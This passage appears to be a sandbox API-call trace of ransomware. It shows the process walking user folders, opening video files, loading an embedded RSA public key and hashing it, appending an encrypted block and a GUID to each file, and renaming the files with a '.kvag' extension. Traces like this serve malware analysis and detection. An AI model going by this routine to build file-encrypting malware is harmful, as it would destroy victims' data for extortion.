(pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.360] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.360] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.360] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.360] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.360] PathFindFileNameW (pszPath="") returned="" [0121.360] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.361] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.361] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0121.361] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.361] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.361] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.361] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0121.361] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0121.361] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.361] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.361] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.361] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.361] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.361] PathFindFileNameW (pszPath="") returned="" [0121.361] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.362] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.362] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0121.362] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0121.363] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0121.363] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.363] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.363] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0121.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0121.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0121.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0121.363] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.363] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.363] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.363] PathFindFileNameW (pszPath="") returned="" [0121.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.367] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.367] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0121.367] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0121.367] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0121.367] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0121.367] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0121.367] PeekMessageW (in: lpMsg=0x6a5ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5ff08) returned 0 [0121.367] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0121.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\") returned="EKLgt3560oqvlMqYdD\\" [0121.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\") returned="E8MPONl9OoHt_q1Da\\" [0121.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\") returned="PO z8nOyg\\" [0121.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0121.367] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0121.368] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0121.368] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0121.368] PathFindFileNameW (pszPath="") returned="" [0121.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd17d1060, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x7baa6e30, ftLastAccessTime.dwHighDateTime=0x1d4d323, ftLastWriteTime.dwLowDateTime=0x7baa6e30, ftLastWriteTime.dwHighDateTime=0x1d4d323, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0121.370] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd17d1060, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0x7baa6e30, ftLastAccessTime.dwHighDateTime=0x1d4d323, ftLastWriteTime.dwLowDateTime=0x7baa6e30, ftLastWriteTime.dwHighDateTime=0x1d4d323, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.370] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7bff3a0, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0xb8223c10, ftLastAccessTime.dwHighDateTime=0x1d4d041, ftLastWriteTime.dwLowDateTime=0xb8223c10, ftLastWriteTime.dwHighDateTime=0x1d4d041, nFileSizeHigh=0x0, nFileSizeLow=0x747c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9KFuOftvE.flv", cAlternateFileName="9KFUOF~1.FLV")) returned 1 [0121.370] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\9KFuOftvE.flv") returned=".flv" [0121.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\9KFuOftvE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\9kfuoftve.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.370] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=29820) returned 1 [0121.370] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.372] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7456, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.372] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.374] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0x747c, lpOverlapped=0x0) returned 1 [0121.375] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.375] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.375] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.375] CryptAcquireContextW (in: phProv=0x6a5fa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x6a5fa50*=0x3607030) returned 1 [0121.376] CryptCreateHash (in: hProv=0x3607030, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x6a5fa58 | out: phHash=0x6a5fa58) returned 1 [0121.376] CryptHashData (hHash=0x6183888, pbData=0x6194728, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0121.376] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x0, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x6a5fa54) returned 1 [0121.376] CryptGetHashParam (in: hHash=0x6183888, dwParam=0x2, pbData=0x614db40, pdwDataLen=0x6a5fa54, dwFlags=0x0 | out: pbData=0x614db40, pdwDataLen=0x6a5fa54) returned 1 [0121.376] CryptDestroyHash (hHash=0x6183888) returned 1 [0121.376] CryptReleaseContext (hProv=0x3607030, dwFlags=0x0) returned 1 [0121.376] UuidCreate (in: Uuid=0x6a5fa48 | out: Uuid=0x6a5fa48) returned 0x0 [0121.376] UuidToStringA (in: Uuid=0x6a5fa48, StringUuid=0x6a5fa40 | out: StringUuid=0x6a5fa40) returned 0x0 [0121.376] RpcStringFreeA (in: String=0x6a5fa40 | out: String=0x6a5fa40) returned 0x0 [0121.376] RtlReAllocateHeap (Heap=0x35b0000, Flags=0x0, Ptr=0x678a0c8, Size=0x218) returned 0x67741a0 [0121.377] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x747c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.377] WriteFile (in: hFile=0x61c, lpBuffer=0x6781548*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x6781548*, lpNumberOfBytesWritten=0x6a5fb50*=0x100, lpOverlapped=0x0) returned 1 [0121.377] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0121.377] WriteFile (in: hFile=0x61c, lpBuffer=0x504440*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6a5fb50, lpOverlapped=0x0 | out: lpBuffer=0x504440*, lpNumberOfBytesWritten=0x6a5fb50*=0x26, lpOverlapped=0x0) returned 1 [0121.377] CloseHandle (hObject=0x61c) returned 1 [0121.378] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\9KFuOftvE.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\9kfuoftve.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\9KFuOftvE.flv.kvag" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\9kfuoftve.flv.kvag")) returned 1 [0121.380] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa296d30, ftCreationTime.dwHighDateTime=0x1d4c697, ftLastAccessTime.dwLowDateTime=0x97218f00, ftLastAccessTime.dwHighDateTime=0x1d4d1e2, ftLastWriteTime.dwLowDateTime=0x97218f00, ftLastWriteTime.dwHighDateTime=0x1d4d1e2, nFileSizeHigh=0x0, nFileSizeLow=0xdd58, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OVSC.swf", cAlternateFileName="")) returned 1 [0121.380] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\OVSC.swf") returned=".swf" [0121.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\E8MPONl9OoHt_q1Da\\EKLgt3560oqvlMqYdD\\OVSC.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\po z8noyg\\e8mponl9ooht_q1da\\eklgt3560oqvlmqydd\\ovsc.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0121.380] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x6a5fb40 | out: lpFileSize=0x6a5fb40*=56664) returned 1 [0121.380] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x6ba0000 [0121.382] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xdd32, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.382] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x6a5fb78, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb78*=0x26, lpOverlapped=0x0) returned 1 [0121.383] ReadFile (in: hFile=0x61c, lpBuffer=0x6ba0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x6a5fb70, lpOverlapped=0x0 | out: lpBuffer=0x6ba0000*, lpNumberOfBytesRead=0x6a5fb70*=0xdd58, lpOverlapped=0x0) returned 1 [0121.384] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.384] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.384] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9MEIds2OP6Z6CXK0QOfH\\\\n11eUVBAnb8eNvtyojl6B9WdFx0Z\\/yxCjC3za06cxV7CnLUjuYdMkhT+GN53XN927\\\\n3h5bvGxvBbhwxJhLwYbbHXOuAW3t+NTorVYT9ST6KAJJTG9APdC0tHLBIDDaiXD4\\\\ng0bnjcRCHwexPDUpL6SJdbiz4bcxKNyyuCrFVWW4N4Sr04kXBHCuXMX9N9DnEnvH\\\\nvJt5hFUaPpII81r9r4VYEjFF\\/G\\/Lw1+IBkjQyAhsdja7hG9WaHhelGt6Q\\/rNZD+L\\\\n4oA\\/q73fHUQHK49aViuOLNCiCnfiN3RfpqcA9hsTYfdojjFxi7iSBeupv1GgiV6e\\\\nTwIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0121.384] CryptAcquireContextW 